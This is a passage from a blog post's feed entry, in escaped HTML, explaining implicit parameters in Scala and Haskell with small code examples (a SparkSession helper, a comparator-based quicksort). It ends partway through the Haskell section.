        <link href="https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/"/>
        <updated>2022-10-15T00:00:00Z</updated>
        <id>https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/</id>
        <content xml:lang="en" type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Do not say a little in many words, but a great deal in a few.&lt;/em&gt;&lt;br /&gt;
– Pythagoras&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;what-the-heck-are-implicit-parameters&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#what-the-heck-are-implicit-parameters&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What the heck are implicit parameters?&lt;/h2&gt;
&lt;p&gt;In software engineering, the &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Don&#39;t_repeat_yourself&quot;&gt;Don’t Repeat Yourself&lt;/a&gt; principle is one of the foundations of writing modular programs. &lt;strong&gt;Implicit parameters&lt;/strong&gt; (implicits, for short) are one of those language features which hide repetitive code so that developers can focus on the more important aspects of logic. Not all programming languages have implicit parameters; but those that do provide an extra mechanism to deal with repetitive code.&lt;/p&gt;
&lt;p&gt;Both Scala and Haskell have the notion of implicit parameters. In Scala, it’s a built-in feature; whereas in Haskell, it’s a language extension. An even more important distinction is that in Scala, implicit variables bind by &lt;em&gt;type&lt;/em&gt;, whereas in Haskell, they bind by &lt;em&gt;name&lt;/em&gt;. We&#39;ll take a look at these in more detail.&lt;/p&gt;
&lt;h2 id=&quot;examples&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#examples&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Examples&lt;/h2&gt;
&lt;h3 id=&quot;in-scala&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#in-scala&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; ...in Scala&lt;/h3&gt;
&lt;p&gt;Let&#39;s take a look at what implicit parameters look like in Scala.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-scala&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-scala&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Example of using implicit.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;implicit&lt;/span&gt; s&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;
  println&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token id function&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;string: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;s&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;;  int: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;x&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Helper function to run a bunch of SQL statements and return the dataframe results.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; runBatch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sqls&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Seq&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;implicit&lt;/span&gt; spark&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; SparkSession&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Dataframe &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;
  sqls map spark&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sql

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; main &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;implicit&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;val&lt;/span&gt; str&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;abc&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Mark variable with the implicit keyword.&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// implicit val str2: String = &quot;def&quot; // Conflict! Two possible implicits of the same type. Error will occur.&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// Notice str is passed implicitly!&lt;/span&gt;
  func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// string: abc;  int: 1&lt;/span&gt;
  func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// string: abc;  int: 42&lt;/span&gt;
  func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Same as above.&lt;/span&gt;
  func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// Create a SparkSession object and mark it as implicit.&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;implicit&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;val&lt;/span&gt; spark&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; SparkSession &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; SparkSession&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;builder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;master&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;local&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getOrCreate
  &lt;span class=&quot;token keyword&quot;&gt;val&lt;/span&gt; dfs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; runBatch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Seq&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;SELECT 1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;SELECT 2&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// `spark` passed implicitly.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Scala&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://scastie.scala-lang.org/59m4Fd8LRFmDHNQmfRt3XQ&quot;&gt;Demo&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;As shown above, implicit params are coded by introducing a new set of parameters (in fact, this is how currying is achieved in Scala). In Scala, implicit variables require the &lt;code&gt;implicit&lt;/code&gt; keyword. This serves as a flag to the compiler saying “this variable can be passed to functions with implicit parameters”. (Well, not exactly, but you get the idea.)&lt;/p&gt;
&lt;p&gt;This is pretty useful for variables that have a single instance in any context and act like a global variable. In the Spark framework, a &lt;code&gt;SparkSession&lt;/code&gt; is used to configure spark options, memory usage, and more. After configuration, we still want to hold onto the returned object in order to call functions such as &lt;code&gt;spark.sql&lt;/code&gt;. Typically, we would only have one &lt;code&gt;SparkSession&lt;/code&gt; in an application, so it makes sense to pass it to helper functions implicitly.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;One gotcha is that Scala searches the calling context for implicit parameters of a &lt;em&gt;matching type&lt;/em&gt;. The variable name does not matter. Scala implicits are actually &lt;a href=&quot;https://stackoverflow.com/questions/5598085/where-does-scala-look-for-implicits/5598107#5598107&quot;&gt;a tad more complicated&lt;/a&gt; (and much more powerful as a result), so my example here doesn’t do it justice.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;in-haskell&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#in-haskell&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; ...in Haskell&lt;/h3&gt;
&lt;p&gt;Haskell’s implicit parameters are different. Here’s an example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;{-# LANGUAGE ImplicitParams #-}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Enable the implicit parameters language extension.&lt;/span&gt;

&lt;span class=&quot;token import-statement&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- Declare a generic sort function which takes a comparator.&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Ordering&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Quickly hacked quick sort.&lt;/span&gt;
    &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; 
    &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; 
    &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; 

&lt;span class=&quot;token comment&quot;&gt;-- Declare a sort function to sort a list.&lt;/span&gt;
&lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Ordering&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;IO&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;92&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;compare&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`on`&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;fst&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Haskell idiom for constructing comparators.&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;-- All equivalent: [(1,42),(3,14),(5,8),(10,4),(15,92)]&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;compare&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`on`&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;fst&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;-- Explicit.&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;                  &lt;span class=&quot;token comment&quot;&gt;-- Explicit.&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;                         &lt;span class=&quot;token comment&quot;&gt;-- Implicit.&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;-- Change comparator. [(15,92),(1,42),(3,14),(5,8),(10,4)]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;compare&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`on`&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;negate&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;snd&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;                  &lt;span class=&quot;token comment&quot;&gt;-- Explicit.&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;                         &lt;span class=&quot;token comment&quot;&gt;-- Implicit.&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;compare&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`on`&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;snd&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp2&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Which one is implicitly passed? `cmp` or `cmp2`? :)&lt;/span&gt;
    
    &lt;span class=&quot;token builtin&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://onlinegdb.com/S4N7sxFFz&quot;&gt;Demo&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Note that implicit variables in Haskell need to be indicated with a question mark, similar to the &lt;code&gt;implicit&lt;/code&gt; keyword in Scala. &lt;code&gt;?cmp&lt;/code&gt; is an implicit variable, but &lt;code&gt;cmp&lt;/code&gt; isn’t. However, unlike Scala, the implicit parameters here are specified in the function’s type signature. And not just that, it’s written in the function’s type constraints.&lt;/p&gt;
&lt;p&gt;In Haskell, functions type signatures are placed on a separate line. For example, &lt;code&gt;sortBy&lt;/code&gt; has the signature &lt;code&gt;(a -&amp;gt; a -&amp;gt; Ordering) -&amp;gt; [a] -&amp;gt; [a]&lt;/code&gt;, meaning it takes a function (in this case, a comparator) which itself takes two generic &lt;code&gt;a&lt;/code&gt;&#39;s, a list of &lt;code&gt;a&lt;/code&gt;&#39;s, and returns a list of &lt;code&gt;a&lt;/code&gt;&#39;s. (This is not what actually happens under the hood, but it’s good enough for now.) On the other hand, &lt;code&gt;sort&lt;/code&gt;&#39;s type signature looks a little different:&lt;/p&gt;
